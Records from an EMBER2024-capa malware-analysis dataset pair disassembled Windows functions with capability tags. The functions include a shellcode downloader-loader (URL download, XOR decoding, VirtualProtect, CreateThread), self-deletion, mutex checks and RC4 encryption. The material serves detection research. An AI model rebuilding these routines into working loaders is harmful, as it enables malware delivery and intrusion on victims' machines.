joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004160
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x70]
call fcn.180006640
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x18000425e
mov rcx, qword [rsp + 0x58]
call fcn.1800026a0
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180004254
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x18000424a
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000423f
mov eax, dword [rsp + 0x80]
cmp dword [rsp + 0x44], eax
jne 0x18000423f
mov dword [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call fcn.180006980
mov rcx, qword [rsp + 0x58]
call fcn.180006980
mov eax, dword [rsp + 0x40]
add rsp, 0x68
ret
Function at 0x1800046b0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x4a8
mov rax, qword [0x180026250]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x58], 0
cmp qword [rsp + 0x20], 0
jne 0x18000474d
lea rcx, [0x180024418]
call fcn.180007d50
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x28]
call fcn.180007e50
cmp qword [rsp + 0x60], 0
jne 0x180004785
lea rcx, [0x180024440]
call fcn.180007c50
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x30]
call fcn.180007e50
cmp qword [rsp + 0x48], 0
jne 0x1800047bd
lea rcx, [0x180024458]
call fcn.180007c50
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x38]
call fcn.180007e50
cmp qword [rsp + 0x50], 0
jne 0x1800047f5
lea rcx, [0x180024470]
call fcn.180007c50
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x40]
call fcn.180007e50
call fcn.180006210
mov r8d, 0x104
lea rdx, [rsp + 0x280]
mov rcx, qword [0x180026c10]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [rsp + 0x48]
lea rcx, [0x180024490]
call fcn.180007d50
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x70]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.180007e50
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x280]
call qword [rsp + 0x60]
xor eax, eax
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.180009540
add rsp, 0x4a8
ret
Function at 0x180005000
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov qword [0x180026c10], rax
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea rcx, [0x180025610]
call fcn.180007d50
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r8, qword [rsp + 0x20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1800050bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1800050a3
lea rcx, [0x1800257f8]
call fcn.180007d50
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.180009260
test eax, eax
je 0x180005097
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.180005d10
mov rcx, qword [rsp + 0x28]
call fcn.180007e50
jmp 0x1800050b2
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.180005d10
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x20]
call fcn.180007e50
add rsp, 0x48
ret
Function at 0x180006e50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
jmp 0x180006e80
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x28], rax
jae 0x180006f5b
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
inc al
mov rcx, qword [rsp + 0x40]
mov byte [rcx], al
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax + 2]
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx + 1]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x40]
mov byte [rcx + 1], al
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax + 1]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 2]
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x40]
lea rcx, [rdx + rcx + 2]
mov rdx, rax
call fcn.180007060
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax + 2]
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx + 1]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx + 2]
add eax, ecx
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx + 2]
xor eax, ecx
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x180006e73
add rsp, 0x38
ret
Function at 0x180007ea0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x180007f49
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x180007f3e
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180007f3e
mov dword [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x180008cf0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
cmp dword [0x180026cf8], 0
je 0x180008d4a
jmp 0x180008f33
cmp qword [0x180026d00], 0
jne 0x180008d81
lea rcx, [0x180025fc8]
call fcn.180007d50
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x180026d00], rax
mov rcx, qword [rsp + 0x20]
call fcn.180007e50
cmp qword [0x180026d08], 0
jne 0x180008dbf
lea rcx, [0x180025ff0]
call fcn.180007c50
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [0x180026d00]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180026d08], rax
mov rcx, qword [rsp + 0x28]
call fcn.180007e50
cmp qword [0x180026d10], 0
jne 0x180008df6
lea rcx, [0x180026008]
call fcn.180007d50
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x180026d10], rax
mov rcx, qword [rsp + 0x30]
call fcn.180007e50
cmp qword [0x180026d18], 0
jne 0x180008e34
lea rcx, [0x180026028]
call fcn.180007c50
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x180026d10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180026d18], rax
mov rcx, qword [rsp + 0x38]
call fcn.180007e50
cmp qword [0x180026d20], 0
jne 0x180008e72
lea rcx, [0x180026040]
call fcn.180007c50
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [0x180026d10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180026d20], rax
mov rcx, qword [rsp + 0x40]
call fcn.180007e50
cmp qword [0x180026d28], 0
jne 0x180008eb0
lea rcx, [0x180026060]
call fcn.180007c50
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [0x180026d10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180026d28], rax
mov rcx, qword [rsp + 0x48]
call fcn.180007e50
cmp qword [0x180026d30], 0
jne 0x180008ee7
lea rcx, [0x180026078]
call fcn.180007d50
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x180026d30], rax
mov rcx, qword [rsp + 0x50]
call fcn.180007e50
cmp qword [0x180026d38], 0
jne 0x180008f25
lea rcx, [0x180026098]
call fcn.180007c50
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [0x180026d30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180026d38], rax
mov rcx, qword [rsp + 0x58]
call fcn.180007e50
mov eax, dword [0x180026cf8]
inc eax
mov dword [0x180026cf8], eax
add rsp, 0x68
ret
Function at 0x180009e38
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x180009ec9
movsxd rax, dword [0x18000003c]
lea rdx, [0x180000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x180009ec9
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180009ec9
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x180009ead
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x180009ea7
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x180009eaf
add rdx, 0x28
jmp 0x180009e8c
xor edx, edx
test rdx, rdx
jne 0x180009eb8
xor al, al
jmp 0x180009ecf
test dword [rdx + 0x24], 0x80000000
je 0x180009ec5
xor al, al
jmp 0x180009ecf
mov al, 1
jmp 0x180009ecf
xor al, al
jmp 0x180009ecf
add rsp, 0x18
ret
Function at 0x1400012e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001356
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x14000f730]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000134c
inc r8
cmp r8, r9
jb 0x140001320
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x1400013f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
mov rbp, rsp
sub rsp, 0x70
movsxd r13, edx
mov r12, rcx
call fcn.140002350
mov r8, qword [rax + 0x40]
cmp word [r8 + 0x18], 0
je 0x14000142f
mov rax, qword [rax]
mov r8, qword [rax + 0x40]
cmp word [r8 + 0x18], 0
jne 0x140001420
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.1400012e0
lea rdx, [rbp - 0x30]
mov rcx, rsi
mov rdi, rax
mov dword [rbp - 0x30], 0x74726956
mov dword [rbp - 0x2c], 0x506c6175
mov dword [rbp - 0x28], 0x65746f72
mov word [rbp - 0x24], 0x7463
mov byte [rbp - 0x22], 0
mov dword [rbp - 0x40], 0x61657243
mov dword [rbp - 0x3c], 0x68546574
mov dword [rbp - 0x38], 0x64616572
mov byte [rbp - 0x34], 0
mov dword [rbp - 0x20], 0x74696157
mov dword [rbp - 0x1c], 0x53726f46
mov dword [rbp - 0x18], 0x6c676e69
mov dword [rbp - 0x14], 0x6a624f65
mov dword [rbp - 0x10], 0x746365
call rdi
lea rdx, [rbp - 0x40]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x20]
mov rcx, rsi
mov r14, rax
call rdi
lea r9, [rbp + 0x38]
mov r8d, 0x40
mov edx, r13d
mov rcx, r12
mov rdi, rax
call rbx
mov r11, r13
test r13d, r13d
je 0x1400014eb
mov rcx, r12
nop word [rax + rax]
xor byte [rcx], 0x69
inc rcx
dec r11
jne 0x1400014e0
mov edx, r13d
mov rcx, r12
call fcn.140001360
xor r11d, r11d
xor r9d, r9d
mov qword [rsp + 0x28], r11
mov r8, r12
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call r14
or edx, 0xffffffff
mov rcx, rax
call rdi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x140001540
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xa8]
sub rsp, 0x1a0
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rbp - 0x78], 7
xor edi, edi
mov qword [rbp - 0x80], rdi
mov word [rsp + 0x70], di
lea r8d, [rdi + 0x18]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x70]
call fcn.140001bd0
nop
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x60], di
lea r8d, [rdi + 2]
lea rdx, [0x14000f774]
lea rcx, [rbp - 0x60]
call fcn.140001bd0
nop
mov qword [rbp - 0x20], 7
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x38], di
lea r8d, [rdi + 4]
lea rdx, [0x14000f780]
lea rcx, [rbp - 0x38]
call fcn.140001bd0
nop
mov qword [rbp + 8], 7
mov qword [rbp], rdi
mov word [rbp - 0x10], di
lea r8d, [rdi + 2]
lea rdx, [0x14000f78c]
lea rcx, [rbp - 0x10]
call fcn.140001bd0
nop
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], rdi
mov word [rbp + 0x18], di
lea r8d, [rdi + 4]
lea rdx, [0x14000f798]
lea rcx, [rbp + 0x18]
call fcn.140001bd0
nop
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x50], rdi
mov word [rbp + 0x40], di
lea r8d, [rdi + 2]
lea rdx, [0x14000f7a4]
lea rcx, [rbp + 0x40]
call fcn.140001bd0
nop
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r8d, [rdi + 4]
lea rdx, str..lnk
lea rcx, [rsp + 0x20]
call fcn.140001bd0
nop
mov ebx, edi
nop
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea r8, [rbp + rcx*8 - 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140002070
nop
lea r8, [rsp + 0x20]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140002130
nop
cmp qword [rbp + 0x88], 8
jb 0x1400016b1
mov rcx, qword [rbp + 0x70]
call fcn.140002e14
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000173a
cmp qword [rsp + 0x60], 8
jb 0x1400016df
mov rcx, qword [rsp + 0x48]
call fcn.140002e14
inc ebx
cmp ebx, 5
jb 0x140001670
cmp qword [rsp + 0x38], 8
jb 0x1400016f8
mov rcx, qword [rsp + 0x20]
call fcn.140002e14
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140001a70]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140002c7c
nop
cmp qword [rbp - 0x78], 8
jb 0x140001736
mov rcx, qword [rsp + 0x70]
call fcn.140002e14
xor al, al
jmp 0x1400017b1
cmp qword [rsp + 0x60], 8
jb 0x14000174c
mov rcx, qword [rsp + 0x48]
call fcn.140002e14
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x58], rdi
mov word [rsp + 0x48], di
cmp qword [rsp + 0x38], 8
jb 0x140001771
mov rcx, qword [rsp + 0x20]
call fcn.140002e14
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140001a70]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140002c7c
nop
cmp qword [rbp - 0x78], 8
jb 0x1400017af
mov rcx, qword [rsp + 0x70]
call fcn.140002e14
mov al, 1
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140001960
Capabilities:
Download url
Receive data

Disassembly:
sub rsp, 0x98
call fcn.1400017d0
test al, al
je 0x140001a5e
mov qword [rsp + 0xa0], rbx
call fcn.140001050
xor ebx, ebx
lea r8, [rsp + 0x38]
xor r9d, r9d
xor ecx, ecx
mov rdx, rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x1400019c7
mov rcx, qword [rsp + 0x38]
lea r8d, [rbx + 1]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x1400019d9
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor eax, eax
mov rbx, qword [rsp + 0xa0]
add rsp, 0x98
ret
mov qword [rsp + 0xa8], rsi
mov esi, dword [rsp + 0x50]
mov qword [rsp + 0x90], rdi
mov ecx, esi
call fcn.140002478
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x30], ebx
mov r10, qword [rcx]
lea r9, [rsp + 0x30]
mov r8d, esi
mov rdx, rax
mov rdi, rax
call qword [r10 + 0x18]
mov rcx, qword [rsp + 0x38]
mov r8, qword [rcx]
mov ebx, eax
call qword [r8 + 0x10]
test ebx, ebx
js 0x140001a34
cmp dword [rsp + 0x30], esi
jne 0x140001a34
mov edx, esi
mov rcx, rdi
call fcn.1400013f0
mov rcx, rdi
call fcn.140002cdc
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x98
ret
xor eax, eax
add rsp, 0x98
ret

Function at 0x140002350
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140003628
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003498
Function at 0x1400067a8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400128f0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140005fb4
xor ebx, ebx
cmp qword [0x140013f68], rbx
mov rdi, rax
jne 0x1400068bb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140006992
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006992
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140013f68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140013f70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140013f78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140013f88], rax
test rax, rax
je 0x1400068b2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140013f80], rax
jmp 0x1400068c2
mov rax, qword [0x140013f80]
jmp 0x1400068c9
mov rax, qword [0x140013f80]
mov r11, qword [0x140013f88]
cmp rax, rdi
je 0x140006930
cmp r11, rdi
je 0x140006930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140013f88]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006930
test rax, rax
je 0x140006930
call rsi
test rax, rax
je 0x14000692a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000692a
test byte [rsp + 0x40], 1
jne 0x140006930
bts ebp, 0x15
jmp 0x140006970
mov rcx, qword [0x140013f70]
cmp rcx, rdi
je 0x140006970
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006970
call rax
mov rbx, rax
test rax, rax
je 0x140006970
mov rcx, qword [0x140013f78]
cmp rcx, rdi
je 0x140006970
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006970
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140013f68]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006992
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140006994
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006be0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140008a4b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400128f0]
jne 0x140006bfa
rol rcx, 0x10
test cx, 0xffff
jne 0x140006bf6
repz ret
ror rcx, 0x10
jmp 0x1400089a4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400140d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400141c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140008a29
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400140d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140008a4b
mov rax, qword [rsp + 0x88]
mov qword [0x1400141c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140014168], rax
mov rax, qword [0x1400141c8]
mov qword [0x140014040], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140014150], rax
mov dword [0x140014030], 0xc0000409
mov dword [0x140014034], 1
mov rax, qword [0x1400128f0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400128f8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400140c8], eax
mov ecx, 1
call fcn.140008858
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000edc8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400140c8], 0
jne 0x140008ad2
mov ecx, 1
call fcn.140008858
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret